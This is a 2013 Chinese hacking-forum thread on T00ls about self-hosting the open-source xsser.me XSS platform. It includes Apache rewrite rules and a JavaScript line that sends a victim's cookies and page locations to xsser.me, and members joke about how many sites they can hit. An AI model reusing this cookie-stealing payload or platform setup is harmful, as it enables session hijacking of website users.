t00ls搭建一个自己的xss平台吧（已答复） - 论坛事务(Forum Affairs) - T00ls

PorscheUID:2588僵尸会员楼主

积分:882TCV:2TuBi:5坛龄:17年170天

2013-05-22

#11

回复 9# 初行者856

我一年都不知道能x几个站

DKTUID:3211僵尸会员

积分:462TCV:0TuBi:0坛龄:17年零28天

2013-05-22

#12

本帖最后由 DKT 于 2013-5-22 21:52 编辑

有源码自己就搭建了啊

WenienUID:6277僵尸会员

积分:149TCV:0TuBi:11坛龄:13年183天

2013-05-22

#13

回复 6# anlfi

懂了！

jalyUID:5733僵尸会员

积分:123TCV:0TuBi:196坛龄:14年363天

2013-05-22

#14

源码哪里有求url

anlfiUID:5520注册会员 T00ls专家勋章

积分:1621TCV:34TuBi:67坛龄:15年139天活跃5级

2013-05-22

#15

本帖最后由 anlfi 于 2013-5-22 23:30 编辑

回复 8# luzechao

表示已经下到了
开启定向的要写正则取?前面的
urlKey authCode addTime
NFyBNa 57xxxxxxxf953911b7ba034e78d1e27fa 1369232601

/NFyBNa?1369232601
定向地址到

[url]http://www.anlfi.com/xssplatform/index.php?do=code&urlKey=NFyBNa[/url]

怎么写自己看着办吧呵呵
apache 的 .htaccess
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{QUERY_STRING} ^(.*)$
RewriteRule ^(\w+)$ /xssplatform/index.php?do=code&urlKey=$1 [L]
</IfModule>

js 部分自己修改一下应该就能用了

window.location='http://xsser.me/index.php?do=api&id=NFyBNa&location='+escape(document.location)+'&toplocation='+escape(myparent)+'&cookie='+escape(cookies)+'&opener='+escape(myopener);

    }

快到姐裙里来
292475230
https://www.t00ls.com/thread-21638-1-1.html

wzianUID:3395潜水会员活跃会员勋章

积分:282TCV:1TuBi:232坛龄:16年338天

2013-05-22

#16

回复 16# anlfi

http://xsser.me//0yij0Q?1369293475 开与不开urlwrite都出现这样的链接

不可以使用请指导一下

oboi8UID:6127僵尸会员

积分:59TCV:0TuBi:4坛龄:13年311天

2013-05-22

#17

真心没什么用啊自己搭嘛

wzianUID:3395潜水会员活跃会员勋章

积分:282TCV:1TuBi:232坛龄:16年338天

2013-05-22

#18

回复 16# anlfi

js部分可以在数据库入库的时候改为自己的数据

还请教 http://xsser.me//do/auth/2b08777781d1b2ed90327268df52857d 保持会话这里仍然有问题
还有一个地方是，我本身就没有启用url重写如：init.php

if($config['urlrewrite']){

        $url['rewrite']         =1;

        foreach($urlDoArray as $value){

                $url[$value]=$url['root']."/{$value}";

        }

还是弄的我必须加上.htaccess 多谢了

0x27erUID:6261僵尸会员

积分:36TCV:0TuBi:5坛龄:13年197天

2013-05-22

#19

擦

小楼一夜听春雨，深巷明朝卖杏花。

IsherUID:5565僵尸会员

积分:85TCV:0TuBi:4坛龄:15年115天

2013-05-22

#20

回复 6# anlfi

xsser.me开源了，已经下载

[【建议意见】] t00ls搭建一个自己的xss平台吧（已答复）

好帖, 支持TA 取消

很可惜, 此ID报废之前, 请仔细阅读论坛总架构中的规则贴:
论坛总规则

Reason:

确认要报废此ID! 取消

打赏

帖子评分

撤销评分

本版最新

[【建议意见】] t00ls搭建一个自己的xss平台吧（已答复）

好帖, 支持TA 取消

很可惜, 此ID报废之前, 请仔细阅读论坛总架构中的规则贴: 论坛总规则 Reason: 确认要报废此ID! 取消

打赏

帖子评分

撤销评分

本版最新

很可惜, 此ID报废之前, 请仔细阅读论坛总架构中的规则贴:
论坛总规则

Reason:

确认要报废此ID! 取消